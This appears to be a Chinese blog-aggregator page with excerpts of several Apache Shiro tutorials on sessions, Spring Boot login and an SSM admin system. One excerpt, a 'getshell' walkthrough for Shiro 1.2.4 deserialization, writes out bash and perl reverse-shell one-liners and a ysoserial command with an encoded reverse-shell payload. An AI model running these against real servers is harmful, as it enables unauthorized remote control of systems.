shiro

springmvc集成shiro后,session、request姓汪还是姓蒋?

与世无争的帅哥 提交于 2019-11-27 05:48:03
1. 疑问 我们在项目中使用了spring mvc作为MVC框架,shiro作为权限控制框架,在使用过程中慢慢地产生了下面几个疑惑,本篇文章将会带着疑问慢慢地解析shiro源码,从而解开心里面的那点小纠纠。 (1) 在spring controller中,request有何不同呢 ? 于是,在controller中打印了request的类对象,发现request对象是org.apache.shiro.web.servlet.ShiroHttpServletRequest ,很明显,此时的 request 已经被shiro包装过了。 (2)众所周知,spring mvc整合shiro后,可以通过两种方式获取到session: 通过Spring mvc中controller的request获取session Session session = request.getSession(); 通过shiro获取session Subject currentUser = SecurityUtils.getSubject(); Session session = currentUser.getSession(); 那么,问题来了, 两种方式获取的session是否相同呢 ? 这里需要看一下项目中的shiro的securityManager配置,因为配置影响了shiro session的来源

Spring Boot 搭建应用实现登陆实例,页面使用bootstrap

倖福魔咒の 提交于 2019-11-27 05:44:26
Spring boot 搭建web应用集成了thymeleaf模板实现登陆 下面是pom.xml的配置 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>exam</groupId> <artifactId>examSystem</artifactId> <packaging>jar</packaging> <version>1.0-SNAPSHOT</version> <!--spring boot 的基本配置 --> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>1.2.7

基于SSM框架的后台管理系统

此生再无相见时 提交于 2019-11-27 04:59:01
该项目源码地址: https://github.com/ggb2312/permission 项目在线地址: http://47.100.54.177:8080/permission/login.html 初始用户: 系统管理员:admin/admin 经理:manager/manager 销售主管:salemanager/salemanager 销售员:saler/saler 临时工:casual/casual 1. 简介 基于SSM框架前后端分离架构的后台管理系统,整合spring + springmvc + shiro + mybatis + esayui。包含许多基础模块(用户管理、角色管理、菜单管理、角色权限管理、用户角色管理、日志管理、数据库监控)。 项目亮点: 基于角色访问控制(RBAC)设计的权限 AOP日志系统 Shiro后端url鉴权、方法鉴权 Excel导入导出示例 2. 项目演示 2.1 登录 使用Md5加密,Shiro权限校验 2.2 用户管理 (1)ajax异步模糊搜索 (2)新增 (3)修改 点击修改 填写修改的信息 (4)删除 选中一行,即可删除 (5)导出excel 支持excel导出 (6)excel导入 支持excel导入,并更新导入信息。 修改excel已存在的数据,并新增一行。 将修改的excel导入系统 2.3 角色管理 与用户管理类似。

【实战】Apache shiro<=1.2.4 getshell

落花浮王杯 提交于 2019-11-27 03:53:22
方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i > /dev/tcp/attackIP/7777 0<&1 2>&1 0<&196;exec 196<>/dev/tcp/attackIP/7777; sh <&196 >&196 2>&196 Perl: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackIP:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 另外还需要通过 http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码 1、vps执行 java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "bash -c {echo,YmFzaCAgLWkgPiAvZGV2RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDmMSAyPiYx}|{base64,-d}|{bash,-i}"

SpringBoot整合Shiro(看完不会,直播吃屎)

空扰寡人 提交于 2019-11-27 03:29:38
首先开始前,在这里吹个牛,如果愿意仔细花时间看完这篇文章,如果还不会shiro,我直播吃屎(就是这么自信) 1.Apache Shiro是什么? 答:ApacheShiro是 Java安全框架 ,执行身份验证、授权、密码和会话管理 2.为什么使用Apache Shiro? 答:Apache Shiro功能强大, 使用简单 , 快速上手 而且相对独立, 不依赖其他框架 ,从最小的移动应用程序到最大的网络和企业应用程序都可以使用Shiro作为安全框架。 3.怎么使用Apache Shiro? 首先项目主要技术:Springboot2.1.6,shiro1.3.2,jjwt0.7.0,Jpa,Mysql等 其中jjwt(Json Web Token)我用来生产登录token以及密码加密和解密 其次就是该Dome的模式采用Token模式,也就是用户登录之后会返回一个Token,后续关键请求基于Token进行身份验证,从而达到取代session的作用 在使用之前我们先了解一下Shiro的主要功能,以及执行流程 Shiro三大核心组件:Subject SecurityManager Realms. Subject :即“当前操作用户”。但是,在Shiro中,Subject这一概念并不仅仅指人,也可以是第三方进程、后台帐户(Daemon Account)或其他类似事物。它仅仅意味着

shiro学习笔记1:shiro简单使用

戏子无情 提交于 2019-11-27 03:14:32
shiro是什么? shiro:安全框架 Apache Shiro是一个功能强大且灵活的开源安全框架,可以清晰地处理身份验证,授权,企业会话管理和加密。 Apache Shiro的首要目标是易于使用和理解。 安全有时可能非常复杂,甚至是痛苦的,但事实并非如此。 框架应尽可能掩盖复杂性,并提供简洁直观的API,以简化开发人员确保其应用程序安全的工作。 以下是Apache Shiro可以做的一些事情: 验证用户以验证其身份 为用户执行访问控制,例如: 确定是否为用户分配了某个安全角色 确定是否允许用户执行某些操作 在任何环境中使用Session API,即使没有Web容器或EJB容器也是如此。 在身份验证,访问控制或会话生命周期内对事件做出反应。 聚合用户安全数据的1个或多个数据源,并将其全部显示为单个复合用户“视图”。 启用单点登录(SSO)功能 无需登录即可为用户关联启用“记住我”服务 ...... 以及更多 - 全部集成到一个易于使用的内聚API中。 Shiro尝试为所有应用程序环境实现这些目标 - 从最简单的命令行应用程序到最大的企业应用程序,而不会强制依赖其他第三方框架,容器或应用程序服务器。 当然,该项目旨在尽可能地融入这些环境,但它可以在任何环境中开箱即用。 shiro的功能? Apache Shiro是一个具有许多功能的综合应用程序安全框架。

NoSuchMethodError: org.slf4j.impl.StaticLoggerBinder.getSingleton()

£可爱£侵袭症+ 提交于 2019-11-27 02:40:22
问题 The issue was caused by one of the dependencies in my pom.xml [cxf-bundle-jaxrs] which internally uses lower version of slf4j. I managed to resolve this issue by upgrading this dependency to the latest release. Thanks everyone. I'm trying to add Apache Shiro to my CXF Spring web application. When I start up my tomcat 7 I get the following error Caused by: java.lang.NoSuchMethodError: org.slf4j.impl.StaticLoggerBinder.getSingleton()Lorg/slf4j/impl/StaticLoggerBinder; at org.slf4j.LoggerFactory

SpringBoot+JWT+Shiro+MybatisPlus实现Restful开发后端脚手架

∥☆過路亽.° 提交于 2019-11-27 02:38:49
一、背景 前后端分离已经成为互联网项目开发标准,它会为以后的大型分布式架构打下基础。SpringBoot使编码配置部署都变得简单,越来越多的互联网公司已经选择SpringBoot作为微服务的入门级微框架。 Mybatis-Plus是一个 Mybatis 的增强工具,有代码生成器,并且提供了类似hibernate的单表CRUD操作,又保留了mybatis的特性支持定制化 SQL。 Apache Shiro是一款强大易用的Java安全框架,Java官方推荐使用Shiro,它比Spring Security更简单易用,Spring自己的系列Spring side4也把权限扩建换成Shiro了。 现在API越来越流行,如何安全保护这些API? JSON Web Tokens(JWT)能提供基于JSON格式的安全认证。JWT可以跨不同语言,自带身份信息,并且非常容易传递。 二、项目特性 1.自定义@Log注解自动记录日志到数据库。 2.自定义@Pass注解接口不用进行认证身份。 3.使用JSONObject统一获取body请求参数,减少实体类的数量。完成自定义@ValidationParam注解验证请求参数是否为空。 4.使用bcrypt算法加密密码,著名代码托管网站Github和美国军方防火墙同样采用此算法,靠bcrypt算法会成功保住密码强度不算很高的大部分账户。 5

Shiro安全框架(二)——身份认证

|▌冷眼眸甩不掉的悲伤 提交于 2019-11-27 02:23:08
Shiro使用指定的验证Realm 1.Subject认证主体 Subject认证 包含两个信息: Principals:身份,可以是用户名,邮件,手机号码等等,用来标识一个登录主体身份; Credentials:凭证,常见有密码,数字证书等等; 2.身份认证流程 3.Realm&JdbcRealm Realm:域,Shiro从Realm中获取验证数据; Realm有很多种类,例如常见的JdbcRealm,JndiRealm,TextRealm; 这里我们使用JdbcRealm。 首先,创建数据库和表: 添加druid,mysql 驱动依赖坐标: <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.6</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.0.26</version> </dependency> 在resources目录下创建jdbc_realm.ini配置文件 [main] jdbcRealm=org.apache.shiro.realm.jdbc

SpringBoot与Shiro整合

拥有回忆 提交于 2019-11-27 01:04:42
修改 pom.xml : <project xmlns= "http://maven.apache.org/POM/4.0.0" xmlns:xsi= "http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation= "http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion>4.0.0</modelVersion> <!-- 继承Spring Boot的默认父工程 --> <!-- Spring Boot 父工程 --> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>1.5.4.RELEASE</version> </parent> <groupId>com.mxj</groupId> <artifactId> springboot - shiro </artifactId> <version>0.0.1-SNAPSHOT</version> </project> 1.1. 导入 web 支持 修改 pom